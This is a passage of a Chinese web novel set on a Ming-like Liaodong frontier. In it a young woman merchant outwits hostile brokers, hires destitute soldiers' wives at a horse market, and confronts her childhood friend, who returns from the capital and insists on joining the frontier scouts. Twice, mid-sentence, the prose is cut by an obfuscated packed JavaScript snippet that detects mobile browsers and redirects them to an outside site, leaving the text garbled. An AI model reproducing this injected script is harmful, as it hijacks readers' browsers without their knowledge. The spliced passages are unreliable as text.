简先生的书塾离衙署大院很远，沈德仪每每都是最晚来接，此刻学童早已散尽，只余下两道小小的身影。 乐弗像个游魂一样飘在讲台上，看着十岁的自己托着腮，盯着屋檐下的冰棱子。 水滴有规律地砸在青石板上，然后碎成更小的水珠子，溅出几朵小花。 有人走过来，在她身后的位子坐下。 “在看什么？” 是宗钦。 十三岁的宗钦，比同龄人高出许多，眉目也比现在更清隽柔和。 她没回头，懒洋洋答：“看水滴石头。” “水非石之钻，渐靡使之然也。” “……” 这人真是没意思透了，不过发呆而已，他却硬是讲出一番道理。 小乐弗偏过头瞪他一眼，却发现他布包里堆满了文章，袖口还沾着墨。 这么勤奋。 她忽然起了玩心，歪着头问：“你以后做了大官，会如何？” 宗钦显然没想过这个问题，十三岁的少年想了半天，憋出一句：“不知道。” 她当即笑出声来。 他皱皱眉，板着脸又补了一句：“总不会搜刮民脂民膏就是。” 少年的声音发闷，带着变声期特有的喑哑，像只一本正经的小鸭子。 她笑得东倒西歪，一个劲儿抬手指着他的喉咙。 宗钦抿起唇，不再说话。 头两次到这里，梦就该断了，可这回却像是被人续上线头，一路顺了下来。 乐弗就看到自己停了笑声，撑起下巴看着他，“那你要是回京做官了，还会回辽东吗？” 宗钦迟疑片刻，一瞬不瞬地盯着她：“我……” “式微，式微，胡不归？”门口传来一声拖长的调子，打断了少年的回答。 小乐弗当即起身，乳燕一般投到沈德仪怀里：“怎么才来！” “跟画屏推牌九，一时忘了时辰……宗钦，来！回家了！” 沈德仪一手一个孩子，三人踩着晚霞往外走，乐弗的游魂也跟了上去。 “娘，刚才那话是什么意思？” “意思就是：天都黑了，怎么还不回家呀？” “天黑了，就该回家吗？”宗钦忽然没头没脑冒出一句。 “当然。”沈德仪笑眯眯的，“若是家中有人在等，就更要回去了。” “那——”他又问，声音一如既往的喑哑，“若是外头的人，不知道有人在等她呢？” 沈德仪愣了一下，没明白宗钦的意思，但还是顺着自己的理解回答： “两个人都应下，那才叫等。若是一个默不作声，另一个半点不知，那不叫等，叫痴傻……” “姑娘！” “姑娘！！” 藤梨的声音突然闯入，把梦中画面击得粉碎。 乐弗猛地睁开双眼。 悬在头顶的是绣金纱罗帐幔，正在晨光里泛着浅浅的光。她盯着那片蜜合色的金纹，心口有些扑腾。 ……原来式微阁是这么来的。 藤梨的声音从帐外传来，带着点儿焦急：“姑娘，该起了，那些人已经在铺子里候着了。” “知道了。” 辰时整，主仆俩到了十字大街。 新开的车马行位于东北角，正好卡在东街布庄与北街客栈之间，斜对面是座茶楼，终日掮客云集。 乐弗刚一进门，大堂里的窃窃私语骤然一停，随即更为嘈杂。 “女东家？” “女子持家尚可，经商管店？简直笑谈！” “你都出来抛头露面了，我这大老爷们还混个屁，回家绣花得了！” 大堂里一阵哄笑。 藤梨脸色不虞，缓缓抽出腰间软鞭，眼神凌厉，只待谁再多嘴一句，就一鞭子甩过去。 满堂哄笑里，乐弗面色不改，早年那些污言秽语比这恶毒百倍的都有，就这几句软绵绵的酸话，连阵风都算不上。 她把那扬言要回家绣花的男人，从头到尾扫了一遍，最后目光落在他脚上。 黑灰皮面的靴子，针脚细密，纹理哑光。 乐弗迈步走了过去，“靴子不错。” 那人一愣，下意识把脚往后收了收，梗着脖子，“那当然，夷货行的东西，辽阳城独一份儿，你认得？” 乐弗扯扯嘴角，算是笑了一下：“认得，这是大麻哈鱼的皮。” “好眼力！”他嘚瑟地伸出脚，好让周围的人看得更清楚些，“正经赫哲人的手艺，透气不闷，八两银子一文不少！” “八两？”乐弗点点头，笑得和气，“夷货行这鞋向来六两，你花了八两，说明你识货，也说明我那伙计会做生意。” 那男人的脚顿时僵在半空，抬也不是放也不是。 “整个辽东，能跟赫哲人搭上线的，只有我的夷货行。你脚上这双，是去年秋里从建州女真那里运来的头批货，鱼皮还是我们几个亲自验的。” 她略微往前半步，声音清润，听不出什么火气：“你瞧不起我，却穿着我的东西招摇过市，挺有趣儿的。” 满屋子的人神色各异，那男人嘴唇动了动，到底没说出什么。 乐弗没再看他，转过身，穿过那几桌茶座，径直走到正中那把主位跟前坐了下去。 “诸位。”她端起茶碗，“今日冒昧请大家过来，没有别的意思。” 屋里静了下来。 乐弗抬起眼，目光从那几张老脸上慢慢扫过。起哄的、冷眼旁观的、低头装哑巴的…… “都是体面人，说‘撬墙角’太难听，我呢，也不做那等没分寸的事。” 她顿了片刻，唇角微扬： “辽安驿运刚在广宁落脚，初来乍到，人生地不熟。旁的没有，银子倒是攒了些。想着诸位在这广宁城里，都是有头有脸的管事、账房，买卖多，人脉广。若是有缘呢，往后少不了要仰仗诸位，咱们互相照应，有钱一起赚嘛。” 这话听起来恭谦有礼，几人面色稍缓，待到下一句出来，那神色又悄悄绷紧了。 “我本想着好好说话，和气生财。”乐弗的目光再次扫过刚刚笑得最大声的那几人，“如今一看……” “不过是几个偏见成性，上不得台面的东西。” “你！”方才笑得最响亮的胖老登怒声喝骂，“女流之辈，也敢在此口出狂言！” 他腆着圆胖肚子站起身，拿腔作势，狐假虎威：“你把咱们喊来，是谈生意还是立规矩？要是立 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看来偏见也不是全无好处，至少碰上硬茬子，就不敢再狗叫了。 她站起身，面上笑意盈盈：“茶也喝了，话也说了，我就不留诸位了。” 众登如蒙大赦，纷纷起身向外走—— “对了。”乐弗的声音从几人身后传来，“记得把账结了再走。” 那位胖老登下意识回头：“什么账？” “茶钱啊。”乐弗抬手指着桌上的茶盏，一脸理所当然，“怎么？诸位在这儿骂了我半天，难不成还指望我做东请客？” 众登面面相觑。 其中一位身穿酱色袍子的挤出笑脸：“这茶钱是多少？” “这是从云南送来的贡茶，整个辽东拢共就剩下这么点。我也不多要你们的……”乐弗抬眼一扫：“一人一两。” “一两？！你怎么不去抢！”胖老登的脸气成猪肝色。 乐弗叹了口气，像是在看一个不懂事的孩子：“您说得对，抢确实比做生意来钱快。” 她站起身，往内堂走了两步，挑开珠帘，头也不回地丢下一句： “可惜我这人，就是喜欢做买卖。门在那边，钱放桌上，慢走不送。” 帘子落下。 最后还是酱色袍子率先从袖子里摸出一两碎银，往桌上一搁。 有他带头，其他人也纷纷拿钱。 胖老登站在那儿，脸上的肉抖了三抖，最后咬着牙掏出银子，拍得比谁都响。 “这茶我喝了！这份人情我也记下了！山不转水转，咱们后会有期！”胖老登撂下一句狠话，“记下”两个字咬得格外重。 不一会儿，帘子后面传来乐弗阴阳怪气地回答： “记下就好，我最怕别人欠我人情不还了。” 胖老登正要再说两句，却被酱色袍子一把拽住袖子：“走了走了！” 内堂里，齐宝和葛喜生俩人听了全程，对视一眼。 得，白担心了。 这么一看，离开公子给的保护圈，小东家这嘴才算是有了用武之地。 那边，乐弗系好帷帽，冲俩人高喊：“套车！去马市！” 今日无论如何，她都要给辽安驿运博出个开门红！ 11. 屯军 巳时，马车停在了“中屯卫”的牌坊下面。 牌坊很旧了，外漆剥落得七七八八，隐约能看出上头的字。 三月的马市早已没了什么正经买卖。 鞑靼的马群还在冬牧场啃枯草，二道贩子们还在等开河运货，几个通译裹着皮袍蹲在墙根晒太阳，等活计等得眼神涣散。 刚下车，乐弗还没站稳，阴影里窜出几个人来。 “坐车累了吧？中屯卫最好的客栈，热水热饭，通铺单间都有！” “贵人可要买马？小人手里有三匹健壮的，价钱好商量！” “通译！通译！鞑靼、女真、高丽话都会说！谈生意没小人不成啊！” 此刻帽檐垂下的皂纱起了大用，不说能遮多少，至少能把那些化外之人的赤裸目光隔开。 一行人没停留，径直朝验关台走。 “凡入市者，许携兵器一，弓矢不计；鞑子携刀不携甲；交易布帛、米盐、铁锅为限，硫磺硝石、棉甲生铁禁出……” 土坯垒的台子上，坐着个书办模样的老吏，戴着副叆叇，逢人就摇头晃脑叨叨这些。 “辽安驿运。”乐弗从袖中摸出行商文书拍在土台上，“来寻生意。” 那老吏先擦擦镜片，上上下下扫了一遍几人的打扮，随后拿起勘合，在旁边的印泥上蘸了蘸，往乐弗手边一推：“交钱。” 乐弗没动。 “老头儿，你好好看看，我们可是本地的！”藤梨一个箭步蹿到验关台前，提起文书，使劲戳着上头“广宁卫”三个朱砂大字。 “本地的？”老吏嘿嘿一笑，露出豁口的牙，抬手指指乐弗头上的帷帽，“本地人可不带这个！管你这卫那卫，只要蹄子踏进我的验关台，就得按规矩来！” “你这老王八犊……唔！” 乐弗抢先一步捂上藤梨的快嘴。 那老吏也不恼，伸出两根手指，在二人眼前晃了晃：“勘合、保金。少一样请回，多一样么……”他眼珠子往乐弗帷帽下的银貂斗篷上溜了一圈，“多一样老朽也不敢收。” “爷台说得是。” 一块碎银从乐弗袖中滚出，在土台上滚了半圈，停在那张勘合旁边。 干枯的大手一覆，银子瞬间没了。 “申时闭市，别误了时辰。”老吏又变回那副摇头晃脑的模样。 进了马市，藤梨小脸忿忿，仍不服：“在辽阳过税卡，也没这样明着伸手的！怎么，这广宁是坐地分赃的堂口吗？一群土匪秧子！” 她迟早回禀了侯爷！ 齐宝提了只箱子，边走边四处张望，听她这么说，故意凑趣：“这叫阎王好见，小鬼难缠。” “这些差役月粮撑死三五斗米，折银不到三钱，还不够咱一顿饭的，更别提养活妻儿老小……上头逼他们去贪，把怨气全转嫁到底层身上。到头来，客商只会骂差役凶狠，谁还知道，真正不是东西的，其实是衙门里那群当官的？” “小东家慎言呐！”葛喜生听得心惊肉跳。 “看路！” 齐宝眼疾手快，一把薅住葛喜生的后脖领，猛地将他拽了回来。 车轮碾过泥巴地，辘辘闷响，一辆马车径直从四人身边擦了过去。 望着鞋头溅上的泥点子，乐弗略微蹙眉，马市向来不许车辆随意进出，这得塞了多少孝敬…… 一行人绕过这段路，往右边拐了百十步，远远见到鞑子的商圈，结果里头仍是一片烂泥巴场子。 方才那辆招摇过市的马车，在商圈旁碾出了两尺多深的车辙，七八个汉子手里攥着铁锹，正一铲一铲地往车辙里填土。 乐弗远远一扫，最先注意到汉子们身上的衣物。 说是号衣，其实早就看不出原本的形制了。粗布料子发白发灰，补丁摞补丁，实在补不上的地方就露着，风一吹，破布片簌簌晃动。 三月天犹寒，他们个个赤着双脚，神情麻木，手底下一刻未停。 “屯军么……”乐弗的视线仍落在那几个汉子身上。 她知道军户里有这么一群人，世代绑在屯田上。可辽阳是治所，她久居内城，平日里见的都是正军，又哪里见过这样的“军”—— 面黄肌瘦，衣不蔽体，看起来竟连贱籍都不如。 齐宝顺着她的目光看过去，只一眼就别开了。 在广宁大营那些年，他早已见惯了这套规矩。底层屯军向来如此，累死活该，打死白打，世代都是这么熬过来的。 “这儿的倒春寒比辽阳还厉害。”葛喜生装模作样地搓搓手，忙转移话题。 话音刚落，远处传来一声呵斥，泥地里有一个屯军应声栽倒。 葛喜生恍若未闻：“小东家，再耽搁怕是要耽误了。” “走吧。” 越往西北走，朵颜人的奶酪摊子气味越浓，混着皮货马粪的腥臊，熏得乐弗脑仁疼。 这些鞑子大多是兀良哈三卫来的，个个留着三搭头，右衽袍服束着腰带，膝盖以下镶一圈兽皮。他们在棚子里或蹲或坐，见有人看货，也不起身招呼，只拿眼斜睨，仿佛这片马市是他们的草场。 当年先帝清君侧，借过兀良哈三卫的骑兵，人情欠下便得用马市来还，朝廷要他们保塞，他们就真拿自己当功臣，如今连归顺之心都懒得装了。 看着这荒诞的一幕，乐弗想笑。 那些屯军尚且在泥里冻着，这些鞑子却在这里耀武扬威。先帝当年借的那把刀，如今割的到底是谁的肉？ 她顿时失了跟这些鞑子做生意的兴趣，站在原地朝周围扫了一圈。 角落里，几个汉人模样的妇人，缩在棚子的阴影里，身子蜷得紧紧的。 “她们又是……” 乐弗同角落里的一个妇人对上眼神，那妇人慌忙掀开面前的箩筐，从里头取出几双布鞋，冲她遥遥举着，手指冻得肿胀，却还在笑。 既然人家敞开箩筐候着，买不买的，也得看一眼，于是她抬脚走了过去。 齐宝跟上来：“她们是屯军的家眷，现下春耕还没开始，闲着也是闲着，带些针黹腌菜来换几个钱。” 说话的功夫，乐弗已走到那妇人摊前径直蹲了下去，裙角拖进泥水里也浑不在意。 她接过那几双布鞋翻看，纳得倒是厚实，只是走线不太利索，想必点灯熬油时花了眼。 妇人身旁有个黑瘦的男孩，见一行人过来，有些局促，往角落深处缩了缩，露出一双冻得裂口的脚。 握着这几双鞋，乐弗忽然开口：“卫所不是能领伤药么？” 她扫过这母子冻伤的地方，又看向其他几个蜷缩的身影。 个个指节肿得老高，冻烂处渗着血，却只是用布条胡乱裹着，连副正经膏药都没有。 “朝廷不管你们？” 听完这话，妇人略显惶然的脸色忽然就平静了。 “管呀，怎么不管……”那妇人伸手把孩子往怀里拢了拢，语气平淡，像在说别家闲事： “包赔屯田籽粒的时候，管得可厉害了。管得我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341558|199357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们卖房卖地，卖儿卖女——” 她低头看了眼身边空着的位置，那里本该有个更大的孩子。 “年前，我家老大卖了三十斤小米，给卫所抵了去年欠下的籽粒钱。” 齐宝忽然就不敢再看这几个妇人一眼。 他太知道这些屯田籽粒都去了哪里，不外乎是用来供养他们这帮正军了。 “大靖有制，凡屯军一人，授田五十亩为一分。不该连六石余粮都没有，还把孩子卖了呀？”藤梨凑上来，睁着一双杏眼，满脸不解。 那妇人抬眼，看藤梨像是在看一个不知世事的孩子：“五十亩？”她摇摇头，肿胀的手指往卫所的方向一指，“这个，就得去问百户大人了。” 话音刚落，旁边棚子前忽然响起一串连珠炮似的鞑语： “你们这些吃生肉的野狗，敢碰老娘的筐子，明日就砍了你家马匹的蹄子！” 乐弗听不懂，但能听出来是咒骂，她扭头望去—— 那是个二十出头的女子，叉着腰立在泰宁卫的盐砖棚子前，身旁站着个三四岁的女童，学着女子的模样也叉着腰，小胸脯挺得老高。 缩在角落里的妇人们忽然动了。 几人连忙搀扶着站起，朝盐棚快步赶去，一冲到跟前，张嘴就是一串流利的鞑语，与那年轻女子一唱一和，竟将两个壮硕的泰宁鞑子骂得连连后退。 乐弗愣在原地。 这几个被籽粒钱逼到走投无路的妇人，竟个个都会鞑子话，骂起人来又泼辣凶狠，与方才那副瑟缩模样判若两人。 她忽然就有了主意。 “齐宝，你去查查。” “查谁？”齐宝一时没明白。 “她们会鞑子话，”乐弗望着那几个妇人手挽手走回来的身影，她们脸上还带着未褪的亢奋，像刚打完一场胜仗。 “我要知道她们家里还有几口人，欠卫所多少籽粒钱。” 眨眼的功夫，几个妇人已说笑着走回了箩筐旁，乐弗将手里的布鞋并箩筐里的几双，一并拾起递给葛喜生。 “这几双我都要了。”她将佩囊直接放到妇人手里。 指尖一沉，那妇人触到囊里沉甸甸的银子，有些发懵，“不过几双粗针布鞋……这太多了，我可受不起！”她慌忙把银子递回来。 乐弗轻轻抬手拦住：“拿着吧，够你们几个置办身得体衣裳的。” 一旁几个妇人也围了上来，各个神情警惕惊慌。 “明日午时，十字大街辽安驿运。你们几个若是家里窘迫，想寻份安稳活计，只管来找我。” 不等回应，乐弗转身便走。 这马市里的泥巴地，还有那些斜睨着眼睛的鞑子，她一眼也不想再多看。 几人沿着来时路折返，路过方才屯军们修补过的地方，那泥坑已经被填平，新土还泛着潮气，上面铺着几块石板。 可还没等乐弗收回目光，远处又传来辘辘车声，方才那辆马车也折返回来，车辙不偏不倚，从新铺的石板上碾过。 “咔嚓”几声，石板断裂，泥水四溅，马车绝尘而去。 小旗官的吼声很快又响起：“都麻利点！闭市前填平整！” 几个赤脚的屯军沉默不语，扛着锹，木然走回坑边。 填了平，平了碾，碾了再填。 乐弗不忍再看。 这些屯军的命运又何尝不是如此。 世世代代填着同一个坑，平了一处，转眼又被碾开一处，反反复复，永无出头之日。 12. 成全 通往广宁的官道实在不好走。 三月中冰雪初融，路面松软泥泞，雪水混着马粪，到处都透着一股子腐败腥臭气。 车厢里的古宥谦彻底放弃挣扎。 他歪斜着，任凭五脏六腑跟马车一起上下翻腾，双眼无神地盯着车顶，就差交代遗言了。 “我说……”声音像是从地底下飘上来的，“能不能歇会儿……” 另一个人也是狼狈，锦袍发皱，下巴覆着一层青硬胡茬，额角碎发垂落。只是相比古宥谦，宗钦显得精神几分。 远处终于浮出广宁城的轮廓，城墙巍峨矗立，直插天际，透着一股沉默的威严。 “快了。”宗钦放下车帘，难得安慰好友一句。 古宥谦不想听他的鬼话。 二人日夜兼程，好不容易赶回辽阳，热茶都还没喝一口，谁知这头活驴又犯了脾气，拽着他掉头就往广宁跑。 你说是不是有病？那前天打广宁过的时候怎么不停！ “我就是该你的……”话音刚落，马车猛地一晃，古宥谦的脑门再次怼上车壁。 * 马车在总兵府门口停下时，亲兵们正在换岗。 领头的赵百户一眼就认出是自家车架，连忙迎上去：“公子？您这是……” 怎么跟被追债的破落户似的？ 宗钦略一点头，往身后示意一下就径直往府里走。 赵百户这才注意到马车边儿还有一个，那人正扶着车辕干呕，脸色比门口的石狮子还白。 “您又是……？”他过去搀扶。 “等会儿。”古宥谦摆摆手，“让我缓缓……呕！” 赵百户怕被这小子讹上，顿时不敢再碰，赶紧招呼人手过来搬行李。 式微阁藏在总兵府西南角，偏僻清静，宗钦站在院前，却迈不动步子。 眼前这间院子他准备了太久。 当初也没有什么堂皇理由，不过是有些心思压得太实，总得找个地方安放。却从未想过，乐弗有天真的会住进来。 宗钦胸口涌起一种近乎惶恐的动容，好像一迈进去，就会碰碎了美梦，光是站在这儿，都觉得不像真的。 他还是推开了门。 庭院收拾得干净，墙上南蛇藤刚展新叶，老枝节眼处，冒出些许浅碧色新芽。 书房的支摘窗半敞，书案上随意摞着账册书信，凌乱不规整，一看就知是她日日在此久坐，随手翻弄的模样。 宗钦缓缓闭上眼。 院子里到处是她的气息，极淡极浅，混着衣裳惯有的芙蕖味道，直直钻进他的四肢百骸。绷了几天的弦骤然松弛，那些怕她悄然远去，再也握不住的恐慌，也退潮似的平息了。 她在这里。在他的府上。在他的式微阁。 念头一起，宗钦笑得极为踏实，连那些不能见人的欲望，都被这股念头养得安稳妥帖，让他笃定—— 本该如此，就该是这样。 “公子？”身后传来一声试探的轻唤，他回身。 周妈妈正站在廊下，手里提着熏笼，满脸惊诧。 一瞧见宗钦这副受了大罪的模样，周妈妈眼泪当即就落了下来，快步上前扯着他的衣袖，来回细细打量。 “可是在京里受了委屈，遭了难处？” “我没事。”宗钦低声安抚，“就是想家了，路上赶得急了些。” 周妈妈抹掉眼泪，连声念叨：“家就在这儿，赶什么赶，还能长腿儿跑了不成？” 这时院门外传来两道脚步声，不远不近的。 “你先带着她们学算账，受累一阵儿。”是乐弗的声音，清凌，还带着几分笑意。 “不累不累，银子到位就成！”藤梨依旧是那副嬉皮笑脸的腔调。 “哪次不到位了……”乐弗打趣一句，跨进院门，话音忽然顿住。 四目相对。 “宗钦？”她脱口而出。 乐弗扫过他凌乱的头发，到青黑的胡茬，再到皱巴巴的衣袍。眉头拧起，却露出个似笑非笑的表情。 “失魂落魄的，”她轻哼一声，挑着眉揶揄，“落榜啦？” 宗钦没有立刻回答，只沉默回望，视线笼罩在她脸上。 被这样盯着，她逐渐有些不自在。 “嗯，”宗钦听见自己说，“落榜了。” 显然乐弗没有料到这个结果，张了张嘴，想说老天有眼，又想骂他浪费盘缠，只是话到嘴边却变成： “多大点事儿……赶紧去换洗！”她皱皱鼻子，一脸嫌弃，“都馊了就别杵在这儿！” 宗钦忽然笑了。 眼底眉梢都松快下来，像城外冰封许久的太子河终于解冻，春水流淌，万物复苏。 这些年他愈发阴沉，这样干净松弛的笑，乐弗已许久没见过了。 她心里咯噔一下，警惕地往后退了半步。 脑子没毛病吧？落榜还能笑成这样？ “知道了。”他说，然后就真的走了，干脆利落。 乐弗站在原地，目送宗钦消失在回廊尽头，心里莫名发堵。 这些年他也是苦读熬出来的，连简先生都时常夸赞。眼睁睁看着他从童生顺当走到现在，临门一脚，怎么就栽在会试上了…… “姑娘，”藤梨轻声提醒，“进去换身衣裳吧，侯爷那边还等着呢。” “嗯。” * 总兵府的晚饭一向简单。 宗传辉不讲究排场，四菜一汤，两荤两素，填饱肚子就行。只是今日这菜摆了许久，还没人动筷子。 饭桌上三个男人，六只眼睛，各怀心思。 古宥谦的心思最简单，他饿坏了。 十多天的风餐露宿，几乎没吃过一顿像样的饭食。此刻看着桌上的酱肘子，清炖羊肉，眼都绿了。 “叔父。”古宥谦努力把目光从酱肘子上挪开，“我爹在家闷坏了，可惜外调辽东的差事总轮不上他，只能在京里苦哈哈熬着。” 宗传辉点点头：“你爹身子还康健吗？” “好着呢，年前跟营里的教头比划刀剑，还赢了。”古宥谦说着，又瞟了一眼桌上的菜，“就是馋您府上这口酱肘子，我爹念叨多少年了……” “少拍马屁！”宗传辉笑骂一句，目光转向一直沉默的儿子，“路上累了吧。” “还好。”宗钦坐在那里，脊背挺直，看不出什么情绪。 父子俩的对话就此打住。 古宥谦左右看看，刚想说些什么活跃气氛，外头脚步声近了。 他立刻把话咽回肚子，眼巴巴瞅着门口。 乐弗跨进门槛，屈膝一福：“伯父。” “快来。”宗传辉抬抬手，“就等你开饭了。” 一直到乐弗入座，古宥谦才收回目光，下意识扫了好友一眼。 宗钦面色无波，可古宥谦就是觉得，刚才自己脖子上凉飕飕的，有柄利刃架在上头一样。 他终于懂了。 为什么宗钦非得日夜兼程赶回来，为什么宁愿放弃功名也要投身夜不收。 这样的姑娘……古宥谦趁机又偷瞄一眼，随后垂下脑袋只管扒饭。 这样的姑娘，别说给她挣军功了，就是把命舍给她，那也值了。 席间无人多言，只有箸碟轻响，待到饭后撤了碗筷，换上热茶，宗传辉才像是忽然想起什么：“你来辽东究竟是做什么？有差事？” 酒足饭饱，古宥谦正舒舒服服捧着茶杯，闻言苦笑一声。 来做什么？您这不明知故问么。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341559|199357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我跟着怀朔来投军。” 宗传辉端着茶杯的手顿了一下，缓缓扭头打量儿子，像看一个陌生人。 “你要投军？” 天爷，当爹的竟居然不知情！ 吓得古宥谦立刻坐直身子，大气不敢喘一口。 “是。”宗钦语气平平，“我已从古伯父那里拿到了荐书。” “荐书？”宗传辉给他气笑了，“老子给你荫个千户不就完了？用得着你千里迢迢跑京城去求人？” “我投的不是卫所。” 宗钦抬起头，看着他爹。 “是夜不收。” 花厅里一下子安静了，静得连根针掉地上都能听见，乐弗猛地抬起头。 宗传辉脸上那点笑意彻底没了，他盯着儿子看了好一会儿，从牙缝里挤出一句： “你再说一遍？” 宗钦迎上他爹的目光，寸步不让：“求父亲成全。” “成全个哨子！”老宗彻底炸了，气得愣是不知该干点儿什么好，做了个让所有人意想不到的举动—— 他起身绕着椅子走了一圈。 宗传辉想提刀砍了这个自作主张的孽障，可一想到他娘临死前说的话，又下不去手，着实进退两难。 绕了几圈，他一屁股坐回椅子上，疲惫地抹了把老脸。 “你是我的儿子，是将来的都司指挥使，竟要去做夜不收……尤其还带着他！！” 一个带风的手指头急速戳到自己面前，古宥谦吓得往后一仰，差点从椅子上翻下去。 紧跟着就是一阵委屈。 自己也没这么差吧，带着怎么了？ “你死了就死了，这小子要是在边境线上出了事，你拿什么去见古为先？” “叔父，是我爹让我来的……”古宥谦赶紧赔笑解释。 “你爹也是被他撺掇的！” 看了看对面一脸茫然的乐弗，宗传辉只能把心里那些猜想都咽回去，化成另一道怒吼： “我怎么就生了你这么个不值钱的东西！” 说完拍桌而起，走了。 花厅顿时安静下来。 乐弗没说话，起身也往外走，宗钦见状跟上去，古宥谦也想跟，却被一个眼神钉在了原地。 夜色黑沉沉的。 回廊下挂着几盏灯笼，被风吹得晃来晃去。 两人一前一后，走出一段，乐弗突然停下，转过身。 “你到底怎么想的？” 她是知道夜不收的，那个行当，十人去一人归，说是给阎王爷当差都是抬举了，他又抽的哪门子疯？ 乐弗有点气恼：“不就是落榜吗？再来三年就是了，何苦去夜不收作践自己？伯父就你这么一个孩子，他怎么能不担心……” “那你呢？” 乐弗一愣：“什么？” “那你担心吗？” 夜风忽然停了，远处传来一声不知什么鸟类的鸣啼，悠长寂寥。 月光下，宗钦的眼睛呈出深沉的墨色，像是无底深潭，能把人吸进去。 乐弗别过脸去，叹了声，肩头都垮了半截。 “我也不想你真的死在鞑子手里。” 这是实话。 二人一同长大，虽然这家伙近几年变得阴沉起来，还总爱管东管西，但毕竟是一起长大的情分，她当然不希望他死。 看着她别扭的侧脸，宗钦又笑了，伸出手，像小时候那样揉揉她的发顶。 “放心。”他说。 宗钦手劲极大，乐弗只觉得脑袋往下一沉，整个人好悬被他按进地里。 “早点儿休息。” 等她再想骂人，宗钦已经走了。 乐弗摸着脖子站在原地，半天憋出一句：“什么毛病！” 13. 熏香 戌时，式微阁。 乐弗梳洗完毕，往书案后头一坐，把白天从屯军家眷那儿拿来的几张画押又看了一遍。 纸上的手印还鲜红，纹路清晰，有几个按重了，把纸都压得凹下去一块。 之前是想过要碰开中法，毕竟那才是真正来钱的路子。盐引一到手，转手就是几倍的利，她琢磨了几天，还是把这念头按下去了。 肥肉是香，可她现在还啃不动。 盐引牵扯太深，盐运司、都司、布政司，哪路神仙不得打点？她就这几千两底子，贸然掺和进去，怕是连骨头渣都剩不下。 不如老老实实做车马行。 先前还愁没人给车行卖命，到了广宁她才算看明白，哪里是没人，这些人都在这儿扎堆等着她呢。 没错，说得就是那帮大靖军户制度最底层的虫豸——屯军。 这些人种田交粮，可徭役一件不少，逼得他们死得死，逃得逃。 乐弗想起白日里那几个妇人看她的眼神，带着点羞怯，又带着点巴结。就六钱月银，生怕她反悔似的，按手印时又快又急。 她把这几张画押又看了一遍。 只要待她们厚道些，给口热饭，给个体面，给她们男人的免除杂役，那些屯军能不记她的情？日后车马行要人卖命，那些人能说个不字？ 乐弗从不觉得自己是什么三好商人。 这心思算不得光明，甚至有些卑鄙，可她向来会给自己开解。 做生意论迹不论心。反正用不了多久，那些吃苦受罪的小可怜们，自然知道该跟着谁干。 舒坦。 她正暗自松快，门帘一挑，藤梨端着一盏熏香炉进来了。 “好好的，点香做什么？” 话是这么问，可那股香味已经飘过来了，不是什么浓烈的味道，淡淡的，带着点草木的清苦，像是山里晨雾初散的味道。 乐弗吸吸鼻子：“挺好闻的。” “这是清远香，周妈妈见姑娘睡不安稳，特地让人调了送来的，说是宫里传出来的安神方子。”藤梨把香炉搁在书案角上，轻声解释。 乐弗点点头，心里忍不住感慨。 自从住到这儿，后院这些婆子丫鬟对她那真是没得说，个顶个的上心。尤其周妈妈，心思比老账房还细，滴水不漏。 真想给她挖过来带走。 藤梨又添了块炭，熏香炉中白烟升起，像一缕扯不断的轻纱。 门在这时被人敲响。 不用抬头她都知道是谁，敢在这个点来讨骂的，就那一个。 乐弗条件反射地拽过罩衣披上。 来人发梢还带着潮气，显然是刚沐浴过，换了身深色长袍。 宗钦没说话，只拎了把椅子往她书案前一坐，跟在自己屋似的。 “方才忘了问，怎么突然来广宁了？”他明知故问，“什么时候回去？” 一听这个，乐弗当即冷笑。 “不是你害的？”她身子前倾，凑近了些，眼底带着火气：“刘夫人都招了，宗钦，我究竟哪里惹到你了？” 宗钦没接话，从案上捡了本账册，闲闲地翻了两页，过了半晌才开口：“去年年初，简自澄私接了一单建州女真的生意。” “我当什么……”乐弗不以为意，“夷货行本就是二道贩子起家，不跟关外做生意，银子打哪儿来？” “可出关的货里，被人掺了三百斤的生铁锅。” 空气像是被人猛地抽走了一口，乐弗脸上的不以为意顿时僵住。 “万幸，这批货在出关时被拦了。”宗钦的视线还在账册上，自顾自往下说，“里头有我的人，才没让他们嚷嚷起来，只把锅扣了，没往上报。” 乐弗张了张嘴，没发出声音。 “怎么会呢？”她声音发虚，“夷货行也是他的心血，他怎么会砸自己招牌？一定有人陷害……” 宗钦抬起眼。 目光沉沉，压得人喘不过气，乐弗后半句话噎在嗓子里，下意识打住。 他没说的是，简自澄就是故意的。 那三百斤铁锅，有完整的出关勘合。货物清单，官凭路引，牙行担保，一样不缺。一旦这批货运到女真人的地盘，那张勘合不出意外，也会很快被呈到御史手里。 一口铁锅能熔三把刀，三百斤，够一个卫所换兵器的。 简自澄要针对的是总兵府。 以前那些小打小闹，他可以装作视而不见。可这回不同。简自澄要的不是给他添堵，是奔着他们父子性命来的。 通敌的罪名一旦坐实，三百斤铁锅，够总兵府上下杀好几个来回。 新仇旧怨，所以他预备在赶考途中便将简自澄处理掉，却没想到遇到国丧。 算他命大。 “将辽安驿运从承运名录上除名，确实是我有意敲打。”宗钦收回目光，声音淡下来，“可我并没想过你会来广宁。” 乐弗知晓事态严重，一下子就蔫了，蜷进椅子不再吭声。 “说话。”宗钦的声音忽然沉下来，带着股压迫。 好一会儿她才闷闷开口：“官府生意丢了，民单也没多少，不来广宁，难不成窝在辽阳等死？” 